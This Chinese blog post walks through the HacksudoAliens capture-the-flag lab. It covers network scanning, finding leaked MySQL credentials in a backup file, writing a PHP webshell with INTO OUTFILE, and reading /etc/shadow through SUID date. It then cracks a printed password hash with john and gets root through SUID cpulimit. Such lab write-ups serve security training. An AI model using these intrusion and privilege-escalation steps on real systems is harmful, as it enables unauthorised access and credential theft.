​​​本文已参与「新人创作礼」活动，一起开启掘金创作之路。

HacksudoAliens

​

arp-scan --interface=eth0 192.168.1.0/24

​

nmap -sC -sV -p- -sT 192.168.1.251

-sS/sT/sA/sW/sM: TCP SYN/Connect()/ACK/Window/Maimon scans

sV: Probe open ports to determine service/version info

-sC: equivalent to --script=default

​

9000端口有个phpmyadmin

​

dirsearch -u http://192.168.1.251/ -e* -w /usr/share/dirb/wordlists/common.txt

​

扫描到一个mysql的备份文件

​

在里面发现mysql连接的用户名密码 vishal/hacksudo

​

成功进入数据库

​

首先执行 sql 语句查看是否设置了 secure_file_priv 选项

showvariableslike'%secure_file_priv%'

​

secure_file_priv值为空 可利用mysql写入webshell

select""into outfile'/var/www/html/shell.php';

成功写入

​

使用蚁剑成功连接

​

反弹shell成功

​

​

尝试SUID提权

find / -perm -u=s -type f 2>/dev/null

​

有个/usr/bin/date 尝试提权，网上找找提权方式

/usr/bin/date命令可以用来查看当前系统时间，同时date也可以通过-f参数来读取文件。所以当date有suid位时，可以用来读取root权限的文件，比如/etc/shadow

尝试提权

反弹shell界面操作失败，在蚁剑终端操作成功，玄学

​

发现一个hacksudo用户和他的哈希加密密码

使用john暴力破解用户的哈希

hash.txt

$6$cOv4E/VKAe0EVwV4$YScCx10zfi7g4aiLY.qo8QPm2iOogJea41mk2rGk/0JM5AtnrmiyTN5ctNJ0KTLS5Iru4lHWYPug792u3L/Um1

john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

​

尝试ssh登录成功

​

再次尝试SUID提权

​

在 gtfobins =>GTFOBins 上也找到他的提权方式

​

​

尝试提权成功

/home/hacksudo/Downloads/cpulimit -l 100 -f -- /bin/sh -p

​

拿到flag

​​